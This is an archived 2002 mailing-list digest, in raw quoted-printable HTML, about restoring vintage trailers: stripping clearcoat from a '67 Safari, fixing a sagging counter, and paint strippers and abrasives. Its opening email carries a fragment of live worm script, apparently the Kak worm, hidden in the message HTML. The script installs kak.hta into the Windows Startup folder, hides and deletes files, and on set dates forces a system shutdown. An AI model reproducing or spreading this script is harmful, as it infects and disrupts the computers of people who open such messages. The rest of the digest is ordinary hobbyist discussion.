;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=
\\\\windows\\\\\\\\Start =
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Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
r.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
</"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut=
es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =
&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
!');wsh.Run(wd+'RUNDLL32.EXE =
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
failed =
!]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s=
ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=
Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
<DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
<DIV=20
style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
<A [EMAIL PROTECTED] href=3D"mailto:[EMAIL PROTECTED]";>Charcigar</A> =
</DIV>
<DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
[EMAIL PROTECTED]=20
href=3D"mailto:[EMAIL PROTECTED]";>Multiple recipients of =
VACList</A> </DIV>
<DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, April 03, 2002 =
7:20=20
PM</DIV>
<DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [VAC] Clearcoat =
removal=20
frustration</DIV>
<DIV><BR></DIV>
<DIV><FONT face=3DArial size=3D2>Hi Folks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2> I have spent the last 3 days =
trying to get=20
the darned clearcoat off my '67 Safari.I knew this polishing =
project was=20
a big job,but I expected this part of it to proceed a little faster! =
20 or so=20
hours of work,and only about 1/4 done.I must be doing something=20
wrong?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2> I have tried two =
different kinds of=20
stripper(Citra-Strip and 1850?)...I have left it on anywhere from 30 =
minute to=20
overnight.....most sections I have applied stripper to 7, 8 and even =
10=20
times,yet some clearcoat still remains.I can tell,because those =
sections=20
looks a little "cloudy".I was using a bristle brush to scrub it =
with,but=20
it was not doing a satisfactory job.This afternoon,I got frustrated =
enough to=20
try steel wool.I used 000,super fine stuff......this was finally =
accomplishing=20
something!Problem is,I am left with lot's of fine scratches.I am =
hoping these=20
will polish out....can anyone confirm this?If they will polish out,I =
will=20
continue using this method...but I am nervous about it.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2> Alternatively,will that last =
bit of=20
cleracoat that I am struggling with,come off if I use the proper =
polish for=20
the first step?(I am going to be using the Nuvite products...so begin =
with=20
"C",or "G6"?)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2> Or is there someway of getting =
this stuff=20
off that is any easier?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2> Thanks!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial =
size=3D2>Charlotte</FONT></DIV></BLOCKQUOTE></BODY></HTML>
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Message Number: 18
Date: Thu, 4 Apr 2002 12:47:10 -0600
From: "joan binette" <[EMAIL PROTECTED]>
Subject: Re:
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Hi. I'm wondering if anyone has any ideas how to fix my counter. The sin=
k is in the middle and the stove is also there. It has dropped about 4" =
at the back not by the stove but behind the sink but its all one piece, I=
have tried to take the sink out but its almost impossible to get in ther=
e . ny help would be appreciated. I have a 1975 overland international I =
think thats what its called. It has a back bedroom. Any help would be gre=
atly appreciated. I also need an end cap for my awning its a carefree mo=
del dont know if is original looks like it. Sincerely, JoanGet more from=
the Web. FREE MSN Explorer download : http://explorer.msn.com
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Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML><BODY STYLE=3D"font:10pt verdana; border:none;"><DIV> </DIV> <=
DIV> </DIV> <BLOCKQUOTE style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5=
px; MARGIN-LEFT: 5px; BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">=
<FONT face=3DArial>Hi. I'm wondering if anyone has any ideas how to=
fix my counter. The sink is in the middle and the stove is also there.&n=
bsp; It has dropped about 4" at the back not by the stove but behind the =
sink but its all one piece, I have tried to take the sink out but its alm=
ost impossible to get in there . ny help would be appreciated. I have a 1=
975 overland international I think thats what its called. It has a back b=
edroom. Any help would be greatly appreciated. I also need an end c=
ap for my awning its a carefree model dont know if is original looks like=
it. Sincerely, Joan</FONT></BLOCKQUOTE></BODY></HTML><br clear=3Da=
ll><hr>Get more from the Web. FREE MSN Explorer download : <a href=3D'ht=
tp://explorer.msn.com'>http://explorer.msn.com</a><br></p>
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Message Number: 19
Date: Thu, 4 Apr 2002 14:26:39 -0600
From: "John R. Kleven" <[EMAIL PROTECTED]>
Subject: Re: Refinish wood panels - 67 Safari
This is a multi-part message in MIME format.
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This is only my technique based on my experiences. I did not mean to =
suggest that yours won't work too. The end result is the same. =20
Randy
I am very glad to know that you dont have a uniform finish after using =
stripper. In one 10 year peroid of my life i did nothing but refinish =
grand pianos we used stripper and cleaned up with tri sodium phospate =
and hot water never had a provlem. I dont under stand your statement
Jim Smith
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>This is only my technique based on my=20
experiences. I did not mean to suggest that yours won't work =
too. =20
The end result is the same. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Randy</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
<DIV> </DIV><FONT face=3Darial,helvetica>
<P align=3Dcenter><FONT face=3DArial lang=3D0 size=3D2 =
FAMILY=3D"SANSSERIF">I am very=20
glad to know that you dont have a uniform finish after using stripper. =
In one=20
10 year peroid of my life i did nothing but refinish grand pianos we =
used=20
stripper and cleaned up with tri sodium phospate and hot water never =
had a=20
provlem. I dont under stand your statement<BR>Jim=20
Smith</P></BLOCKQUOTE></FONT></FONT></BODY></HTML>
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Message Number: 20
Date: Thu, 4 Apr 2002 18:19:25 -0500
From: Cynthia Grant <[EMAIL PROTECTED]>
Subject: Re: Clearcoat removal frustration
I don't know if this would work on clearcoat or not, but there is a water-based
stripper called variously Hydrostrip 502 and Removall that has been discussed on some
aviation lists, which sounds like great stuff - it might be worth trying. Below is
one o
Cynthia
> -----Original Message-----
> From: Joe Hohn [mailto:[EMAIL PROTECTED]]
> Sent: Friday, December 14, 2001 6:00 PM
> To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Subject: Re: Luscombe: 8E weight - Stripping to Save weight!
>
>
> Chris,
>
> I FINALLY FOUND THE INFO!! Vern Hendershott cross posted it
> from another
> list.
>
> It is on Topica at this location
> http://www.topica.com/lists/luscombe/read/message.html?mid=800275124
>
> And it WASN'T Hydrogen Peroxide based... <eg> just water!
>
> Cut and Pasted below for all to see.
> ---------------------------------------------------
> "Fugate wrote--
>
> P.S. Anyone have suggestions on how to remove paint and primer
> effectively and quickly?"
>
> The following is from another list from people who do seem to
> know what
> they are talking abouut for what it is worth.
>
> I recently tried using a new, at least to me, product called
> Remove All. It
> is a paint stripper developed by the makers of POR-15
> products in Canada. I
> was told that spraying the remove all on the Coupe with a primer gun,
> waiting several hours and then pressure washing it off would
> do the job.
>
> They were right. That process removed 98 percent of the
> paint/primer in one
> step. I touched it up with a little more remove all, and then
> scrubbed it
> clean with lacquer thinner. This latest stripping job took
> about one days
> worth of work when I have had used up to a week before.
>
> Best of all, remove all is water based, so there is no
> environmental hazard
> except from the paint chips you are removing.
>
> The aircraft was painted with a unknown product. The previous
> owner said
> that she bought 5 gallons of paint at the Boeing Surplus
> store in Seattle
> and painted the airplane with it. It was a two part product requiring
> mixing before application. (Epoxy??). I have tried unsuccessfully to
> remove the paint and have tried seven different products and
> have been able
> to only soften the top surface let alone remove any to bare
> metal. Kleen
> Kut aircraft paint remover allowed me to get down to primer after four
> applications in a one foot square area. I was ready to ship it out and
> have it Blasted. Then I saw the message about a product
> called RemovAll
> stripper and I decided to try it. I looked it up on the Net
> and found out
> after a bit of research that it is manufactured by Napier in
> Canada and is
> distributed in the US under several different names. RemovAll
> is the trade
> name for Napier's SV-35pma stripper that is distributed by TURCO
> distributors.
>
> The same product is sold by ICI paints as Hydrostrip 502 and
> was available
> locally. The local Napier sales rep. told me that Sherwin
> Williams will be
> carrying it in the very near future. It is expensive, and I
> paid $32.00
> for a gallon of hydrostrip at ICI. It is a heavy bodied
> product that uses
> Hydrogen Peroxide as the active ingredient. It works by
> penetrating the
> paint to the aluminum where it reacts as a catalyst to create
> oxygen that
> forces the paint away from the surface it is adhering to.
> It is shipped
> with NO hazardous material charges and it is not classed as a
> Hazardous
> material and does not affect plastics or rubber. In fact it
> is recommended
> for stripping Fiberglass cars and rubber bumpers on cars. It is
> recommended that it be sprayed on. I used my HVLP spray gun.
> I have two,
> one suction gun and the other a gravity fed gun. It would not
> flow from
> the suction gun but the gravity gun worked great.
>
> How did it work.??
>
> I started at the tail end and sprayed a coat on one side to
> the rivet seam
> at frame 'F' and then went to the other sided and started at
> the tail end
> and continued to frame 'F' to complete the empenage. When I
> walked around
> to look at the first side, I was amazed to see the paint
> falling off in
> great big sheets, right down to the aluminum. I let it work
> for half an
> hour and as I don't have a pressure washer I got out my shop
> vacuum and
> sucked the paint off the airplane. I then used a hose and
> scotchbright pad
> to clean up any residue. Total time to strip the empenage
> including the
> half hour wait was one hour and 15 minutes. Get this, No goggles, No
> respirator, No smell, No burns on bare skin and my HVLP spray
> gun looks
> brand new. It removed all the paint residue from the inside of the gun
> wherever the stripper touched. The paint in the vacuum after
> it dried is
> just that, Dried paint and no more hazardous that if it was
> still on the
> airplane.
>
> The only easier way to strip the airplane would be to apply
> this stuff all
> over the aircraft at the airport then start the engine and
> blow off the
> residue with the prop wash. :-)
>
>
> Have a good day.
>
> Best regards,
> Vern
>
> -----Original Message-----
> From: Joe Hohn [mailto:[EMAIL PROTECTED]]
> Sent: Thursday, December 13, 2001 11:41 PM
> To: [EMAIL PROTECTED]
> Subject: RE: Re: Luscombe: 8E weight - Stripping to Save weight!
>
>
> Chris & Dan
>
> I thought I read on the list about a paint stripper based on hydrogen
> peroxide. Very environmentally safe. A company out of I think Texas
> distributes it. You put it on and can even use a wet dry vac
> to remove it.
>
> Sorry but I don't know the name. (I thought I saved the
> E-Mail but can't
> find it.) I even went to their website and this stuff looks great!
>
> If anyone remembers the name, it could be a great time saver.
>
> Joe
>
------------------------------
Message Number: 21
Date: Thu, 4 Apr 2002 18:24:20 -0500
From: Cynthia Grant <[EMAIL PROTECTED]>
Subject: Re: Clearcoat removal frustration
> satisfactory job.This afternoon,I got frustrated enough to
> try steel wool.I used 000,super fine stuff......this was
> finally accomplishing something!Problem is,I am left with
> lot's of fine scratches.I am hoping these will polish
> out....can anyone confirm this?If they will polish out,I will
> continue using this method...but I am nervous about it.
Steel wool may not be a good idea - dunno if it would do permanent harm ... below is a
posting from an aviation group by a guy who is a polishing fanatic (and witty, to boot
:-)) on abrasives to use on surfaces that will be polished. Someday I'll forward
Cynthia
>
> I would be reluctant to use anything other than aluminum wool
> or Scotch
> Brite pads. While stainless wool should be okay on aluminum, God knows
> what's in the stuff they sell at Home Depot R'Us. Lycoming
> doesn't even know
> which alloy they are using in their crankshafts... what do
> you think the
> chances are that the $.99 package of stainless steel wool
> contains what the
> label states? At least with aluminum wool most of it is going to be
> aluminum... probably.
>
> Scotch Brite is good stuff but ya gotta be careful here too.
> All 3M stuff is
> color coded as to the type of abrasive. The pads are coded
> too. For the life
> of me I can't find the color code info on the 3M site
> (anybody know where
> this info can be found?). I can't guarantee my memory is correct (AARP
> propaganda is wearing me down...) but I think the maroon, tan
> and white are
> okay on aluminum. The maroon and tan use aluminum oxide
> abrasive while the
> white (very fine grit) uses talc. Don't use anything that has silicon
> carbide as the abrasive. That would be the gray or black
> pads. I'm not sure
> what the abrasive is used in the house-hold green pads. Might
> be worth an
> email or phone call to 3M...
>
> Side note: Up at Carson City there is a guy who
> restores/rebuilds/sells
> Albatross amphibs. He had one sitting on the ramp that had
> been blasted with
> baking soda and it looked good. All the panels looked
> straight and unwarped.
> And the skins almost looked like they could have been polished <g>. Of
> course the skins on that big 'ol Grumman are probably 2-3
> inches thick on
> the hull so they wouldn't warp much. Might not work as well
> on a delicate
> Luscombe skin...
>
> Dan
>
> Subscription; www.luscombe.org/directory.html
> Archive; www.topica.com/lists/luscombe/read
------------------------------
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